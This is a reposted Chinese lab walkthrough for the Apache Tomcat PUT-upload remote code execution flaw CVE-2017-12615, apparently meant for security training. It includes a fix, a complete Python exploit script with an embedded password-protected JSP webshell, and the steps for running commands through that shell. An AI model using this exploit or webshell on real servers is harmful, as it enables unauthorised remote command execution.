Tomcat远程代码执行漏洞(CVE-2017-12615)
来源:互联网 发布:android 聚合数据 编辑:程序博客网 时间:2024/05/18 00:49
实验环境
操作机:windows XP
IP:172.16.11.2
目标机:windows server 2003
IP:172.16.12.2
实验目的
了解Tomcat远程代码执行漏洞危害
掌握检测利用Tomcat远程代码执行漏洞的能力
实验工具
Firefox: 中文俗称火狐,一个自由及开放源代码网页浏览器
实验内容
Tomcat
Tomcat服务器是一个免费的开放源代码的Web应用服务器。Tomcat是Apache软件基金会(Apache SoftwareFoundation)的Jakarta项目中的一个核心项目,由Apache、Sun和其他一些公司及个人共同开发而成。
漏洞介绍
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞(CVE-2017-12615)当存在漏洞的Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT请求方法,攻击者通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行,危害十分严重。
漏洞分析:
在Tomcat安装目录下的配置文件web.xml中的org.apache.catalina.servlets.DefaultServlet方法下如果该方法有如下代码,即表示Tomcat已开启PUT方法
<init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param>
然后我们就可以通过PUT方法直接上传一句话木马
修复方案
用户可以禁用PUT方法来防护此漏洞,操作方式如下:
在Tomcat的web.xml 文件中配置org.apache.catalina.servlets.DefaultServlet的初始化参数
<init-param><param-name>readonly</param-name><param-value>true</param-value></init-param>
确保readonly参数为true(默认值),即不允许DELETE和PUT操作。
实验步骤
top 1:访问目标网站
在浏览器的地址栏输入我们的目标网站地址172.16.12.2:8080
查看版本知道存在远程代码执行漏洞
top 2:下载payload,内容如下:
#! -*- coding:utf-8 -*- import httplibimport sysimport timebody = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''try: conn = httplib.HTTPConnection(sys.argv[1]) conn.request(method='OPTIONS', url='/ffffzz') headers = dict(conn.getresponse().getheaders()) if 'allow' in headers and \ headers['allow'].find('PUT') > 0 : conn.close() conn = httplib.HTTPConnection(sys.argv[1]) url = "/" + str(int(time.time()))+'.jsp/' #url = "/" + str(int(time.time()))+'.jsp::$DATA' conn.request( method='PUT', url= url, body=body) res = conn.getresponse() if res.status == 201 : #print 'shell:', 'http://' + sys.argv[1] + url[:-7] print 'shell:', 'http://' + sys.argv[1] + url[:-1] elif res.status == 204 : print 'file exists' else: print 'error' conn.close() else: print 'Server not vulnerable'except Exception,e: print 'Error:', e
top 3 利用payload对目标网站发起攻击
下载完后payload命名为exp.txt
进入cmd界面,然后切换到exp.txt文件目录下,
接下来输入命令:
python exp.py 172.16.12.2:8080
运行,程序返回webshell的地址
http://172.16.12.2:8080/1506412001.jsp
注意:此处1506412001.jsp为随机生成地址,请以实际获取的shell为准
在火狐浏览器中按F9打开hackbar插件,执行以下命令
http://172.16.12.2:8080/1506412001.jsp?&pwd=023&cmd=ipconfig
输入如下指令,得到:
http://172.16.12.2:8080/1506412001.jsp?&pwd=023&cmd=ipconfig
结果分析:
当存在漏洞的Tomcat运行在 Windows 主机上,且启用了 HTTP PUT 请求方法,攻击者通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行。因此,通常情况下我们应该不允许DELETE和PUT操作。
- Tomcat远程代码执行漏洞(CVE-2017-12615)
- Tomcat 远程代码执行漏洞分析(CVE-2017-12615)
- 测试Tomcat CVE-2017-12615 远程代码执行漏洞
- 技术文章 | CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞分析报告
- 9 月 19 日,腾讯云安全中心监测到 Apache Tomcat 修复了2个严重级别的漏洞, 分别为: 信息泄露漏洞(CVE-2017-12616)、远程代码执行漏洞(CVE-2017-12615
- 漏洞预警+Samba远程代码执行漏洞(CVE-2017-7494)
- BlueBorne远程代码执行漏洞Poc实战(CVE-2017-0781)
- Office CVE-2017-8570远程代码执行漏洞复现
- Microsoft Edge 浏览器远程代码执行漏洞POC及细节(CVE-2017-8641)
- Microsoft Edge 浏览器远程代码执行漏洞POC及细节(CVE-2017-8641)
- Office远程代码执行漏洞POC样本分析(CVE-2017-11882)
- 微软office远程代码执行漏洞(CVE-2017-11882)复现
- Supervisord远程命令执行漏洞分析(CVE-2017-11610)
- 【漏洞公告】CVE-2017-8543:Windows Search远程代码执行漏洞
- 【漏洞公告】CVE-2017-8464 :Microsoft Windows LNK 远程代码执行漏洞
- 【漏洞公告】CVE-2017-8543:Windows Search远程代码执行漏洞
- 漏洞到来:CVE-2017-8620:Windows Search远程代码执行漏洞
- 【漏洞公告】CVE-2017-11610:Supervisord 远程命令执行漏洞
- 敌兵布阵 HDU
- 如何发表论文
- Linux命令
- 插入、更新与删除数据
- python3爬虫实战(一)爬取创业邦创投库
- Tomcat远程代码执行漏洞(CVE-2017-12615)
- redis
- 堆砖块
- 关于二分查找的相关问题
- JavaScript仿记事本的替换功能
- 校验登录用户名和密码
- 设计模式 C++实现
- 构造函数、析构函数是否要定义为虚函数?
- 转义字符的使用